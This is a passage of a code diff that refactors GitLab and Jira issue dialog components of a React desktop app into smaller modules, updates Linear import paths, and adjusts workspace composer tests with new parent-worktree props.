-    seen.add(key)
-    normalized.push(trimmed)
-  }
-  return normalized
-}
-
-function parseGitLabLabelDraft(value: string): string[] {
-  return normalizeGitLabLabels(value.split(','))
-}
-
-function formatGitLabLabelDraft(labels: readonly string[]): string {
-  return normalizeGitLabLabels(labels).join(', ')
-}
-
-function toggleGitLabLabelDraft(value: string, label: string): string {
-  const labels = parseGitLabLabelDraft(value)
-  const key = label.trim().toLowerCase()
-  const next = labels.some((item) => item.toLowerCase() === key)
-    ? labels.filter((item) => item.toLowerCase() !== key)
-    : [...labels, label]
-  return formatGitLabLabelDraft(next)
-}
-
-function gitLabUserKey(user: GitLabAssignableUser): string {
-  return typeof user.id === 'number' ? `id:${user.id}` : `username:${user.username.toLowerCase()}`
-}
-
-function dedupeGitLabUsers(users: readonly GitLabAssignableUser[]): GitLabAssignableUser[] {
-  const byKey = new Map<string, GitLabAssignableUser>()
-  for (const user of users) {
-    byKey.set(gitLabUserKey(user), user)
-  }
-  return Array.from(byKey.values()).sort((a, b) => a.username.localeCompare(b.username))
-}
-
-function CommentCard({
-  comment,
-  canResolve,
-  resolving,
-  onResolve
-}: {
-  comment: MRComment
-  canResolve?: boolean
-  resolving?: boolean
-  onResolve?: (threadId: string, resolved: boolean) => void
-}): React.JSX.Element {
-  const hasThread = Boolean(comment.threadId)
-  return (
-    <div className="rounded-md border border-border/40 bg-muted/30 p-3">
-      <div className="mb-1.5 flex items-center justify-between gap-2 text-xs text-muted-foreground">
-        <div className="flex items-center gap-2">
-          {comment.authorAvatarUrl ? (
-            <img
-              src={comment.authorAvatarUrl}
-              alt=""
-              className="size-5 rounded-full"
-              onError={(e) => {
-                e.currentTarget.style.display = 'none'
-              }}
-            />
-          ) : null}
-          <span className="font-medium text-foreground">{comment.author}</span>
-          {comment.isResolved ? (
-            <span className="rounded-full bg-emerald-500/15 px-1.5 py-0.5 text-[10px] font-medium text-emerald-700 dark:text-emerald-300">
-              {translate('auto.components.GitLabItemDialog.f23ea85341', 'resolved')}
-            </span>
-          ) : null}
-        </div>
-        <div className="flex items-center gap-2">
-          {canResolve && hasThread && onResolve ? (
-            <Button
-              type="button"
-              variant="ghost"
-              size="xs"
-              disabled={resolving}
-              onClick={() => onResolve(comment.threadId ?? '', !comment.isResolved)}
-              className="h-6"
-            >
-              {resolving ? <LoaderCircle className="size-3 animate-spin" /> : null}
-              {comment.isResolved
-                ? translate('auto.components.GitLabItemDialog.65e784c1f1', 'Reopen')
-                : translate('auto.components.GitLabItemDialog.4168eb2c51', 'Resolve')}
-            </Button>
-          ) : null}
-          <span>{comment.createdAt ? new Date(comment.createdAt).toLocaleDateString() : ''}</span>
-        </div>
-      </div>
-      {comment.path ? (
-        <div className="mb-1.5 font-mono text-[11px] text-muted-foreground">
-          {comment.path}
-          {comment.line ? `:${comment.line}` : ''}
-        </div>
-      ) : null}
-      <CommentMarkdown
-        content={comment.body}
-        variant="document"
-        className="min-w-0 max-w-full overflow-hidden break-words text-[13px] leading-relaxed [&_a]:break-all [&_code]:break-words [&_pre]:max-w-full"
-      />
-    </div>
-  )
-}
-
-function PipelineJobRow({
-  job,
-  expanded,
-  traceState,
-  retrying,
-  onToggleTrace,
-  onRetry
-}: {
-  job: GitLabPipelineJob
-  expanded: boolean
-  traceState?: JobTraceState
-  retrying: boolean
-  onToggleTrace: (job: GitLabPipelineJob) => void
-  onRetry: (job: GitLabPipelineJob) => void
-}): React.JSX.Element {
-  const canRetry = ['failed', 'canceled', 'cancelled'].includes(job.status)
-  return (
-    <div className="rounded-md">
-      <div className="grid w-full grid-cols-[minmax(0,2fr)_minmax(0,1fr)_80px_64px_96px] items-center gap-3 px-3 py-2 text-left text-sm hover:bg-muted/40">
-        <button
-          type="button"
-          onClick={() => onToggleTrace(job)}
-          className="min-w-0 truncate text-left font-medium"
-        >
-          {job.name}
-        </button>
-        <span className="min-w-0 truncate text-xs text-muted-foreground">{job.stage}</span>
-        <span
-          className={cn(
-            'rounded-full px-2 py-0.5 text-center text-[10px] font-medium uppercase tracking-wide',
-            jobStatusTone(job.status)
-          )}
-        >
-          {job.status}
-        </span>
-        <span className="text-right text-[11px] text-muted-foreground">
-          {/* Why: durations come back as seconds; show "Nm Ns" for >60s
-              and "Ns" otherwise. null = job hasn't finished. */}
-          {typeof job.duration === 'number'
-            ? job.duration >= 60
-              ? `${Math.floor(job.duration / 60)}m ${Math.floor(job.duration % 60)}s`
-              : `${Math.floor(job.duration)}s`
-            : '—'}
-        </span>
-        <div className="flex justify-end gap-1">
-          {canRetry ? (
-            <Button
-              type="button"
-              variant="ghost"
-              size="xs"
-              disabled={retrying}
-              onClick={() => onRetry(job)}
-              className="h-6"
-            >
-              {retrying ? <LoaderCircle className="size-3 animate-spin" /> : null}
-              {translate('auto.components.GitLabItemDialog.fa3e042203', 'Retry')}
-            </Button>
-          ) : null}
-          {job.webUrl ? (
-            <Button
-              type="button"
-              variant="ghost"
-              size="icon-xs"
-              onClick={() => void window.api.shell.openUrl(job.webUrl)}
-              title={translate('auto.components.GitLabItemDialog.032ae1312b', 'Open job in GitLab')}
-            >
-              <ExternalLink className="size-3" />
-            </Button>
-          ) : null}
-        </div>
-      </div>
-      {expanded ? (
-        <div className="mx-3 mb-2 rounded-md border border-border/50 bg-muted/20">
-          <div className="flex items-center justify-between border-b border-border/40 px-2.5 py-1.5 text-[11px] text-muted-foreground">
-            <span>{translate('auto.components.GitLabItemDialog.2f9b27f838', 'Job log')}</span>
-            <Button type="button" variant="ghost" size="xs" onClick={() => onToggleTrace(job)}>
-              {translate('auto.components.GitLabItemDialog.028bde664e', 'Hide')}
-            </Button>
-          </div>
-          {traceState?.loading ? (
-            <div className="flex items-center gap-2 px-2.5 py-3 text-xs text-muted-foreground">
-              <LoaderCircle className="size-3.5 animate-spin" />
-              {translate('auto.components.GitLabItemDialog.d600c2619a', 'Loading log')}
-            </div>
-          ) : traceState?.error ? (
-            <div className="px-2.5 py-3 text-xs text-destructive">{traceState.error}</div>
-          ) : (
-            <pre className="max-h-64 overflow-auto whitespace-pre-wrap break-words px-2.5 py-2 font-mono text-[11px] leading-4 text-foreground scrollbar-sleek">
-              {traceState?.trace?.trim()
-                ? traceState.trace
-                : translate('auto.components.GitLabItemDialog.32f8bef818', 'No log output.')}
-            </pre>
-          )}
-        </div>
-      ) : null}
-    </div>
-  )
-}
-
 export default function GitLabItemDialog({
   item,
   repoPath,
diff --git a/src/renderer/src/components/JiraIssueWorkspace.tsx b/src/renderer/src/components/JiraIssueWorkspace.tsx
index b1f2078900c..d423fe52799 100644
--- a/src/renderer/src/components/JiraIssueWorkspace.tsx
+++ b/src/renderer/src/components/JiraIssueWorkspace.tsx
@@ -1,33 +1,13 @@
-/* eslint-disable max-lines -- Why: the Jira drawer co-locates preview,
-   metadata edits, and comments so the task page has one full issue surface. */
 /* oxlint-disable react-doctor/no-adjust-state-on-prop-change -- Why: Jira issue hydration, comments, transitions, priorities, and user options are loaded from provider IPC for the selected issue. */
 import React, { useCallback, useEffect, useMemo, useRef, useState } from 'react'
-import {
-  ArrowRight,
-  Clipboard,
-  ExternalLink,
-  GitBranch,
-  LoaderCircle,
-  RefreshCw,
-  Save,
-  Send,
-  X
-} from 'lucide-react'
 import { toast } from 'sonner'
 import { VisuallyHidden } from 'radix-ui'
-
-import CommentMarkdown from '@/components/sidebar/CommentMarkdown'
-import { JiraIcon } from '@/components/icons/JiraIcon'
-import { Button } from '@/components/ui/button'
-import { Input } from '@/components/ui/input'
-import { Popover, PopoverContent, PopoverTrigger } from '@/components/ui/popover'
 import { Sheet, SheetContent, SheetDescription, SheetTitle } from '@/components/ui/sheet'
-import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip'
-import { cn } from '@/lib/utils'
 import {
   getCommentBodySubmitState,
   hasBoundedCommentBodyText
 } from '@/lib/comment-body-submit-state'
+
 import { createBrowserUuid } from '@/lib/browser-uuid'
 import { useAppStore } from '@/store'
 import {
@@ -48,7 +28,9 @@ import type {
 } from '../../../shared/jira-types'
 import type { TaskSourceContext } from '../../../shared/task-source-context'
 import { translate } from '@/i18n/i18n'
-import { formatUiRelativeTimeFromDate } from '@/i18n/relative-time-format'
+import { JiraIssueMetadataBar, JiraIssueWorkspaceHeader } from './jira-issue-workspace-chrome'
+import { JiraIssueCommentComposer, JiraIssueWorkspaceContent } from './jira-issue-workspace-content'
+import { getJiraIssueWorkspaceActions } from './jira-issue-workspace-actions'
 
 type JiraIssueWorkspaceProps = {
   issue: JiraIssue | null
@@ -57,50 +39,6 @@ type JiraIssueWorkspaceProps = {
   sourceContext?: TaskSourceContext | null
 }
 
-function formatRelativeTime(input: string): string {
-  return formatUiRelativeTimeFromDate(input)
-}
-
-function buildJiraBranchName(issue: JiraIssue): string {
-  const slug = issue.title
-    .toLowerCase()
-    .replace(/[^a-z0-9]+/g, '-')
-    .replace(/^-+|-+$/g, '')
-    .slice(0, 52)
-  return `${issue.key.toLowerCase()}${slug ? `-${slug}` : ''}`
-}
-
-function buildJiraPrompt(issue: JiraIssue): string {
-  return `Complete Jira issue ${issue.key}: ${issue.title}\n\n${issue.url}`
-}
-
-function jiraStatusClass(categoryKey: string): string {
-  if (categoryKey === 'done') {
-    return 'border-emerald-500/30 bg-emerald-500/10 text-emerald-700 dark:text-emerald-200'
-  }
-  if (categoryKey === 'indeterminate') {
-    return 'border-sky-500/30 bg-sky-500/10 text-sky-700 dark:text-sky-200'
-  }
-  return 'border-border/50 bg-muted/40 text-muted-foreground'
-}
-
-async function copyTextToClipboard(text: string, label: string): Promise<void> {
-  try {
-    await window.api.ui.writeClipboardText(text)
-    toast.success(
-      translate('auto.components.JiraIssueWorkspace.2ff69a3545', '{{value0}} copied', {
-        value0: label
-      })
-    )
-  } catch {
-    toast.error(
-      translate('auto.components.JiraIssueWorkspace.6c41a9bcea', 'Failed to copy {{value0}}', {
-        value0: label.toLowerCase()
-      })
-    )
-  }
-}
-
 export default function JiraIssueWorkspace({
   issue,
   onUse,
@@ -343,41 +281,10 @@ export default function JiraIssueWorkspace({
   }, [commentDraft, commentSubmitting, displayed, providerSettings])
   const canSubmitComment = hasBoundedCommentBodyText(commentDraft)
 
-  const actionItems = useMemo(() => {
-    if (!displayed) {
-      return []
-    }
-    return [
-      {
-        label: translate('auto.components.JiraIssueWorkspace.69da9a208c', 'Open in Jira'),
-        icon: ExternalLink,
-        action: () => window.api.shell.openUrl(displayed.url)
-      },
-      {
-        label: translate('auto.components.JiraIssueWorkspace.779bb91ee0', 'Copy URL'),
-        icon: Clipboard,
-        action: () => void copyTextToClipboard(displayed.url, 'URL')
-      },
-      {
-        label: translate('auto.components.JiraIssueWorkspace.38839801e8', 'Copy key'),
-        icon: Clipboard,
-        action: () => void copyTextToClipboard(displayed.key, 'Key')
-      },
-      {
-        label: translate(
-          'auto.components.JiraIssueWorkspace.80efa101c5',
-          'Copy suggested branch name'
-        ),
-        icon: GitBranch,
-        action: () => void copyTextToClipboard(buildJiraBranchName(displayed), 'Branch name')
-      },
-      {
-        label: translate('auto.components.JiraIssueWorkspace.0cc62bd690', 'Copy prompt'),
-        icon: Clipboard,
-        action: () => void copyTextToClipboard(buildJiraPrompt(displayed), 'Prompt')
-      }
-    ]
-  }, [displayed])
+  const actionItems = useMemo(
+    () => (displayed ? getJiraIssueWorkspaceActions(displayed) : []),
+    [displayed]
+  )
 
   return (
     <Sheet open={issue !== null} onOpenChange={(open) => !open && onClose()}>
@@ -404,419 +311,46 @@ export default function JiraIssueWorkspace({
 
         {displayed ? (
           <div className="flex h-full min-h-0 flex-col overflow-hidden bg-background">
-            <div className="flex-none border-b border-border/50 bg-muted/30 px-4 py-3">
-              <div className="flex items-start gap-3">
-                <div className="min-w-0 flex-1">
-                  <div className="flex flex-wrap items-center gap-x-2 gap-y-1 text-[11px] text-muted-foreground">
-                    <span className="font-mono">{displayed.key}</span>
-                    {displayed.siteName ? <span>{displayed.siteName}</span> : null}
-                    <span>{displayed.project.key}</span>
-                    <span>{formatRelativeTime(displayed.updatedAt)}</span>
-                    {issueLoading ? <LoaderCircle className="size-3 animate-spin" /> : null}
-                  </div>
-                  <h2 className="mt-1 text-[20px] font-semibold leading-tight text-foreground">
-                    {displayed.title}
-                  </h2>
-                </div>
-                <Button
-                  onClick={() => onUse(displayed)}
-                  className="hidden shrink-0 gap-2 sm:inline-flex"
-                  size="sm"
-                >
-                  {translate('auto.components.JiraIssueWorkspace.2441be6f9f', 'Start workspace')}
-                  <ArrowRight className="size-4" />
-                </Button>
-                <Tooltip>
-                  <TooltipTrigger asChild>
-                    <Button
-                      variant="ghost"
-                      size="icon-sm"
-                      className="shrink-0"
-                      onClick={onClose}
-                      aria-label={translate(
-                        'auto.components.JiraIssueWorkspace.76513c7898',
-                        'Close Jira issue preview'
-                      )}
-                    >
-                      <X className="size-4" />
-                    </Button>
-                  </TooltipTrigger>
-                  <TooltipContent side="bottom" sideOffset={6}>
-                    {translate('auto.components.JiraIssueWorkspace.7a96985ca0', 'Close')}
-                  </TooltipContent>
-                </Tooltip>
-              </div>
-            </div>
+            <JiraIssueWorkspaceHeader
+              displayed={displayed}
+              issueLoading={issueLoading}
+              onUse={onUse}
+              onClose={onClose}
+            />
 
-            <div className="flex flex-wrap items-center gap-x-3 gap-y-2 border-b border-border/60 px-4 py-2.5">
-              <Popover>
-                <PopoverTrigger asChild>
-                  <button
-                    type="button"
-                    disabled={pendingField === 'transition' || transitions.length === 0}
-                    className={cn(
-                      'inline-flex items-center gap-1.5 rounded-full border px-2 py-0.5 text-[11px] font-medium transition hover:opacity-80 disabled:opacity-50',
-                      jiraStatusClass(displayed.status.categoryKey)
-                    )}
-                  >
-                    {displayed.status.name}
-                    {pendingField === 'transition' ? (
-                      <LoaderCircle className="size-3 animate-spin" />
-                    ) : null}
-                  </button>
-                </PopoverTrigger>
-                <PopoverContent
-                  className="popover-scroll-content scrollbar-sleek w-52 p-1"
-                  align="start"
-                >
-                  {transitions.map((transition) => (
-                    <button
-                      key={transition.id}
-                      type="button"
-                      onClick={() =>
-                        void mutateIssue(
-                          'transition',
-                          { transitionId: transition.id },
-                          { status: transition.to }
-                        )
-                      }
-                      className="flex w-full items-center rounded-sm px-2 py-1.5 text-left text-[12px] hover:bg-accent"
-                    >
-                      {transition.name}
-                    </button>
-                  ))}
-                </PopoverContent>
-              </Popover>
+            <JiraIssueMetadataBar
+              displayed={displayed}
+              pendingField={pendingField}
+              transitions={transitions}
+              priorities={priorities}
+              users={users}
+              mutateIssue={mutateIssue}
+            />
 
-              <Popover>
-                <PopoverTrigger asChild>
-                  <button
-                    type="button"
-                    disabled={pendingField === 'priority'}
-                    className="rounded-md px-1.5 py-0.5 text-[11px] text-muted-foreground transition hover:bg-muted/40 disabled:opacity-50"
-                  >
-                    {displayed.priority?.name ??
-                      translate('auto.components.JiraIssueWorkspace.51bed73f88', 'No priority')}
-                    {pendingField === 'priority' ? (
-                      <LoaderCircle className="ml-1 inline size-3 animate-spin" />
-                    ) : null}
-                  </button>
-                </PopoverTrigger>
-                <PopoverContent
-                  className="popover-scroll-content scrollbar-sleek w-48 p-1"
-                  align="start"
-                >
-                  <button
-                    type="button"
-                    onClick={() =>
-                      void mutateIssue('priority', { priorityId: null }, { priority: undefined })
-                    }
-                    className="flex w-full items-center rounded-sm px-2 py-1.5 text-left text-[12px] hover:bg-accent"
-                  >
-                    {translate('auto.components.JiraIssueWorkspace.51bed73f88', 'No priority')}
-                  </button>
-                  {priorities.map((priority) => (
-                    <button
-                      key={priority.id}
-                      type="button"
-                      onClick={() =>
-                        void mutateIssue('priority', { priorityId: priority.id }, { priority })
-                      }
-                      className="flex w-full items-center rounded-sm px-2 py-1.5 text-left text-[12px] hover:bg-accent"
-                    >
-                      {priority.name}
-                    </button>
-                  ))}
-                </PopoverContent>
-              </Popover>
+            <JiraIssueWorkspaceContent
+              displayed={displayed}
+              titleDraft={titleDraft}
+              setTitleDraft={setTitleDraft}
+              labelsDraft={labelsDraft}
+              setLabelsDraft={setLabelsDraft}
+              handleSaveTitle={handleSaveTitle}
+              handleSaveLabels={handleSaveLabels}
+              pendingField={pendingField}
+              comments={comments}
+              commentsError={commentsError}
+              commentsLoading={commentsLoading}
+              retryComments={() => void loadComments(displayed, requestIdRef.current)}
+              onUse={onUse}
+              actionItems={actionItems}
+            />
 
-              <Popover>
-                <PopoverTrigger asChild>
-                  <button
-                    type="button"
-                    disabled={pendingField === 'assignee'}
-                    className="flex items-center gap-1 rounded-md px-1.5 py-0.5 text-[11px] text-muted-foreground transition hover:bg-muted/40 disabled:opacity-50"
-                  >
-                    {displayed.assignee?.displayName ??
-                      translate('auto.components.JiraIssueWorkspace.54649eaeab', '+ Assignee')}
-                    {pendingField === 'assignee' ? (
-                      <LoaderCircle className="size-3 animate-spin" />
-                    ) : null}
-                  </button>
-                </PopoverTrigger>
-                <PopoverContent
-                  className="popover-scroll-content scrollbar-sleek w-56 p-1"
-                  align="start"
-                >
-                  <button
-                    type="button"
-                    onClick={() =>
-                      void mutateIssue(
-                        'assignee',
-                        { assigneeAccountId: null },
-                        { assignee: undefined }
-                      )
-                    }
-                    className="flex w-full items-center rounded-sm px-2 py-1.5 text-left text-[12px] hover:bg-accent"
-                  >
-                    {translate('auto.components.JiraIssueWorkspace.0b6b5646ed', 'Unassigned')}
-                  </button>
-                  {users.map((user) => (
-                    <button
-                      key={user.accountId}
-                      type="button"
-                      onClick={() =>
-                        void mutateIssue(
-                          'assignee',
-                          { assigneeAccountId: user.accountId },
-                          { assignee: user }
-                        )
-                      }
-                      className="flex w-full items-center gap-2 rounded-sm px-2 py-1.5 text-left text-[12px] hover:bg-accent"
-                    >
-                      {user.avatarUrl ? (
-                        <img src={user.avatarUrl} alt="" className="size-5 rounded-full" />
-                      ) : null}
-                      <span className="truncate">{user.displayName}</span>
-                    </button>
-                  ))}
-                </PopoverContent>
-              </Popover>
-            </div>
-
-            <div className="grid min-h-0 flex-1 grid-cols-1 xl:grid-cols-[minmax(0,1fr)_228px]">
-              <div className="min-h-0 overflow-y-auto scrollbar-sleek">
-                <section className="border-b border-border/40 px-4 py-4">
-                  <div className="grid gap-2">
-                    <label className="text-[11px] font-medium text-muted-foreground">
-                      {translate('auto.components.JiraIssueWorkspace.444865b4a8', 'Title')}
-                    </label>
-                    <div className="flex gap-2">
-                      <Input
-                        value={titleDraft}
-                        onChange={(event) => setTitleDraft(event.target.value)}
-                        onKeyDown={(event) => {
-                          if (event.key === 'Enter' && !event.nativeEvent.isComposing) {
-                            event.preventDefault()
-                            handleSaveTitle()
-                          }
-                        }}
-                        className="h-8 text-xs"
-                      />
-                      <Button
-                        size="sm"
-                        variant="outline"
-                        onClick={handleSaveTitle}
-                        disabled={pendingField === 'title'}
-                      >
-                        {pendingField === 'title' ? (
-                          <LoaderCircle className="size-4 animate-spin" />
-                        ) : (
-                          <Save className="size-4" />
-                        )}
-                      </Button>
-                    </div>
-                    <label className="mt-2 text-[11px] font-medium text-muted-foreground">
-                      {translate('auto.components.JiraIssueWorkspace.aee97b6913', 'Labels')}
-                    </label>
-                    <div className="flex gap-2">
-                      <Input
-                        value={labelsDraft}
-                        onChange={(event) => setLabelsDraft(event.target.value)}
-                        placeholder={translate(
-                          'auto.components.JiraIssueWorkspace.0f3c07a901',
-                          'backend, bug'
-                        )}
-                        className="h-8 text-xs"
-                      />
-                      <Button
-                        size="sm"
-                        variant="outline"
-                        onClick={handleSaveLabels}
-                        disabled={pendingField === 'labels'}
-                      >
-                        {pendingField === 'labels' ? (
-                          <LoaderCircle className="size-4 animate-spin" />
-                        ) : (
-                          <Save className="size-4" />
-                        )}
-                      </Button>
-                    </div>
-                  </div>
-                </section>
-
-                <section className="border-b border-border/40 px-4 py-4">
-                  <div className="mb-2 flex items-center gap-2">
-                    <JiraIcon className="size-3 text-muted-foreground" />
-                    <span className="text-xs font-medium text-foreground">
-                      {displayed.issueType.name}
-                    </span>
-                    <span className="text-xs text-muted-foreground">
-                      {displayed.project.key} ·{' '}
-                      {displayed.assignee?.displayName ??
-                        translate('auto.components.JiraIssueWorkspace.0b6b5646ed', 'Unassigned')}
-                    </span>
-                  </div>
-                  {displayed.description?.trim() ? (
-                    <CommentMarkdown
-                      content={displayed.description}
-                      variant="document"
-                      className="text-[14px] leading-relaxed"
-                    />
-                  ) : (
-                    <p className="text-sm italic text-muted-foreground">
-                      {translate(
-                        'auto.components.JiraIssueWorkspace.c4889a47e4',
-                        'No description provided.'
-                      )}
-                    </p>
-                  )}
-                </section>
-
-                <section className="px-4 py-4">
-                  <div className="mb-3 flex items-center justify-between gap-3">
-                    <div className="flex items-center gap-2">
-                      <span className="text-[13px] font-medium text-foreground">
-                        {translate('auto.components.JiraIssueWorkspace.9a980b06b9', 'Comments')}
-                      </span>
-                      {comments.length > 0 ? (
-                        <span className="text-[12px] text-muted-foreground">{comments.length}</span>
-                      ) : null}
-                    </div>
-                    {commentsError ? (
-                      <Button
-                        variant="outline"
-                        size="xs"
-                        onClick={() => void loadComments(displayed, requestIdRef.current)}
-                        disabled={commentsLoading}
-                        className="gap-1"
-                      >
-                        {commentsLoading ? (
-                          <LoaderCircle className="size-3 animate-spin" />
-                        ) : (
-                          <RefreshCw className="size-3" />
-                        )}
-                        {translate('auto.components.JiraIssueWorkspace.5cd09beaf9', 'Retry')}
-                      </Button>
-                    ) : null}
-                  </div>
-                  {commentsError ? (
-                    <div className="rounded-md border border-destructive/30 bg-destructive/10 px-3 py-2 text-sm text-destructive">
-                      {commentsError}
-                    </div>
-                  ) : commentsLoading && comments.length === 0 ? (
-                    <div className="flex items-center justify-center py-8">
-                      <LoaderCircle className="size-4 animate-spin text-muted-foreground" />
-                    </div>
-                  ) : comments.length === 0 ? (
-                    <p className="text-sm text-muted-foreground">
-                      {translate(
-                        'auto.components.JiraIssueWorkspace.9178090e26',
-                        'No comments yet.'
-                      )}
-                    </p>
-                  ) : (
-                    <div className="flex flex-col gap-3">
-                      {comments.map((comment) => (
-                        <div
-                          key={comment.id}
-                          className="rounded-md border border-border/50 bg-muted/20"
-                        >
-                          <div className="flex min-w-0 items-center gap-2 border-b border-border/40 px-3 py-2">
-                            {comment.user?.avatarUrl ? (
-                              <img
-                                src={comment.user.avatarUrl}
-                                alt=""
-                                className="size-5 shrink-0 rounded-full"
-                              />
-                            ) : null}
-                            <span className="truncate text-[13px] font-semibold text-foreground">
-                              {comment.user?.displayName ??
-                                translate(
-                                  'auto.components.JiraIssueWorkspace.666cfdd835',
-                                  'Unknown'
-                                )}
-                            </span>
-                            <span className="shrink-0 text-[12px] text-muted-foreground">
-                              {formatRelativeTime(comment.createdAt)}
-                            </span>
-                          </div>
-                          <div className="px-3 py-2">
-                            {/* Why: Jira comment screenshots need the same preview
-                                affordance without changing compact comment typography. */}
-                            <CommentMarkdown
-                              content={comment.body}
-                              expandImages
-                              className="text-[13px] leading-relaxed"
-                            />
-                          </div>
-                        </div>
-                      ))}
-                    </div>
-                  )}
-                </section>
-              </div>
-
-              <aside className="border-t border-border/50 bg-muted/20 px-3 py-3 xl:border-l xl:border-t-0">
-                <Button
-                  onClick={() => onUse(displayed)}
-                  className="mb-3 w-full justify-center gap-2 sm:hidden"
-                >
-                  {translate('auto.components.JiraIssueWorkspace.2441be6f9f', 'Start workspace')}
-                  <ArrowRight className="size-4" />
-                </Button>
-                <div className="grid gap-1">
-                  {actionItems.map((item) => {
-                    const Icon = item.icon
-                    return (
-                      <Tooltip key={item.label}>
-                        <TooltipTrigger asChild>
-                          <button
-                            type="button"
-                            onClick={item.action}
-                            className="flex min-w-0 items-center gap-2 rounded-md px-2 py-1.5 text-left text-xs text-muted-foreground transition hover:bg-accent hover:text-accent-foreground"
-                          >
-                            <Icon className="size-3.5 shrink-0" />
-                            <span className="truncate">{item.label}</span>
-                          </button>
-                        </TooltipTrigger>
-                        <TooltipContent side="left" sideOffset={6}>
-                          {item.label}
-                        </TooltipContent>
-                      </Tooltip>
-                    )
-                  })}
-                </div>
-              </aside>
-            </div>
-
-            <div className="flex-none border-t border-border/50 bg-background px-3 py-3">
-              <div className="flex gap-2">
-                <textarea
-                  value={commentDraft}
-                  onChange={(event) => setCommentDraft(event.target.value)}
-                  placeholder={translate(
-                    'auto.components.JiraIssueWorkspace.a585fd204e',
-                    'Add a Jira comment...'
-                  )}
-                  rows={2}
-                  disabled={commentSubmitting}
-                  className="min-h-10 flex-1 resize-none rounded-md border border-input bg-transparent px-3 py-2 text-sm outline-none placeholder:text-muted-foreground focus-visible:border-ring focus-visible:ring-[3px] focus-visible:ring-ring/50"
-                />
-                <Button
-                  onClick={() => void handleSubmitComment()}
-                  disabled={!canSubmitComment || commentSubmitting}
-                  className="self-end gap-2"
-                >
-                  {commentSubmitting ? (
-                    <LoaderCircle className="size-4 animate-spin" />
-                  ) : (
-                    <Send className="size-4" />
-                  )}
-                  {translate('auto.components.JiraIssueWorkspace.b0b92666c9', 'Comment')}
-                </Button>
-              </div>
-            </div>
+            <JiraIssueCommentComposer
+              commentDraft={commentDraft}
+              setCommentDraft={setCommentDraft}
+              commentSubmitting={commentSubmitting}
+              canSubmitComment={canSubmitComment}
+              handleSubmitComment={() => void handleSubmitComment()}
+            />
           </div>
         ) : null}
       </SheetContent>
diff --git a/src/renderer/src/components/LinearIssueTextEditor.tsx b/src/renderer/src/components/LinearIssueTextEditor.tsx
index 42db6a5c4c8..4301174ceb5 100644
--- a/src/renderer/src/components/LinearIssueTextEditor.tsx
+++ b/src/renderer/src/components/LinearIssueTextEditor.tsx
@@ -7,7 +7,7 @@ import { useMountedRef } from '@/hooks/useMountedRef'
 import { cn } from '@/lib/utils'
 import { useAppStore } from '@/store'
 import { getScreenSubmitShortcutLabel, isScreenSubmitShortcut } from '@/lib/screen-submit-shortcut'
-import { linearUpdateIssue } from '@/runtime/runtime-linear-client'
+import { linearUpdateIssue } from '@/runtime/runtime-linear-issue-mutations'
 import type { LinearIssue } from '../../../shared/linear/issue-types'
 import type { TaskSourceContext } from '../../../shared/task-source-context'
 import {
diff --git a/src/renderer/src/components/LinearItemDrawer.tsx b/src/renderer/src/components/LinearItemDrawer.tsx
index 04b4c613c4f..d544b58eebe 100644
--- a/src/renderer/src/components/LinearItemDrawer.tsx
+++ b/src/renderer/src/components/LinearItemDrawer.tsx
@@ -62,7 +62,7 @@ import {
   linearGetIssue,
   linearIssueComments,
   linearUpdateIssue
-} from '@/runtime/runtime-linear-client'
+} from '@/runtime/runtime-linear-issue-mutations'
 import { translate } from '@/i18n/i18n'
 import { formatUiRelativeTimeFromDate } from '@/i18n/relative-time-format'
 
diff --git a/src/renderer/src/components/NewWorkspaceComposerCard.set-location.test.tsx b/src/renderer/src/components/NewWorkspaceComposerCard.set-location.test.tsx
index fe68dc4f53c..9cdea1d7d54 100644
--- a/src/renderer/src/components/NewWorkspaceComposerCard.set-location.test.tsx
+++ b/src/renderer/src/components/NewWorkspaceComposerCard.set-location.test.tsx
@@ -171,6 +171,8 @@ function renderCard(
         onOpenAgentSettings={() => {}}
         advancedOpen={false}
         onToggleAdvanced={() => {}}
+        parentWorktreeId={null}
+        onParentWorktreeIdChange={() => {}}
         createDisabled={false}
         projectError={null}
         creating={false}
diff --git a/src/renderer/src/components/NewWorkspaceComposerCard.test.tsx b/src/renderer/src/components/NewWorkspaceComposerCard.test.tsx
index 9775cd06dae..8206354f916 100644
--- a/src/renderer/src/components/NewWorkspaceComposerCard.test.tsx
+++ b/src/renderer/src/components/NewWorkspaceComposerCard.test.tsx
@@ -230,6 +230,8 @@ function renderCard(
         onReuseSelectedBranchChange={() => {}}
         branchNameOverride=""
         onBranchNameOverrideChange={() => {}}
+        parentWorktreeId={null}
+        onParentWorktreeIdChange={() => {}}
         forkPushWarning={null}
         detectedAgentIds={null}
         onOpenAgentSettings={() => {}}
@@ -306,6 +308,11 @@ function findRunTargetItem(label: string): HTMLElement | undefined {
 
 let current: { container: HTMLDivElement; root: Root } | null = null
 
+function unmountCurrent(): void {
+  act(() => current?.root.unmount())
+  current?.container.remove()
+}
+
 describe('NewWorkspaceComposerCard folder task source mode', () => {
   beforeEach(() => {
     ;(window as unknown as { api: unknown }).api = {
@@ -333,8 +340,7 @@ describe('NewWorkspaceComposerCard folder task source mode', () => {
   })
 
   afterEach(() => {
-    act(() => current?.root.unmount())
-    current?.container.remove()
+    unmountCurrent()
     current = null
     vi.clearAllMocks()
   })
@@ -395,8 +401,7 @@ describe('NewWorkspaceComposerCard folder task source mode', () => {
     )
     expect(collapsedReuse).toBeTruthy()
 
-    act(() => current?.root.unmount())
-    current?.container.remove()
+    unmountCurrent()
 
     current = renderCard({ canReuseSelectedBranch: true, reuseSelectedBranch: true })
     const reuseLabel = [...current.container.querySelectorAll('label')].find((label) =>
@@ -430,8 +435,7 @@ describe('NewWorkspaceComposerCard folder task source mode', () => {
     clickReuseCheckbox()
     expect(offChanges).toEqual([false])
 
-    act(() => current?.root.unmount())
-    current?.container.remove()
+    unmountCurrent()
 
     // Unchecked -> checked (opting into reuse — the action that pins the branch).
     const onChanges: boolean[] = []
@@ -458,8 +462,7 @@ describe('NewWorkspaceComposerCard folder task source mode', () => {
       'Wait for setup to complete before starting agent'
     )
 
-    act(() => current?.root.unmount())
-    current?.container.remove()
+    unmountCurrent()
 
     current = renderCard({
       advancedOpen: true,
@@ -579,6 +582,19 @@ describe('NewWorkspaceComposerCard folder task source mode', () => {
     expect(findInputByLabel(current.container, 'Branch name')).toBeTruthy()
   })
 
+  it('places the parent workspace picker immediately after the branch name field', () => {
+    current = renderCard({
+      advancedOpen: true,
+      branchesEnabled: true
+    })
+
+    const nextField = findInputByLabel(current.container, 'Branch name')?.closest(
+      'div.space-y-1'
+    )?.nextElementSibling
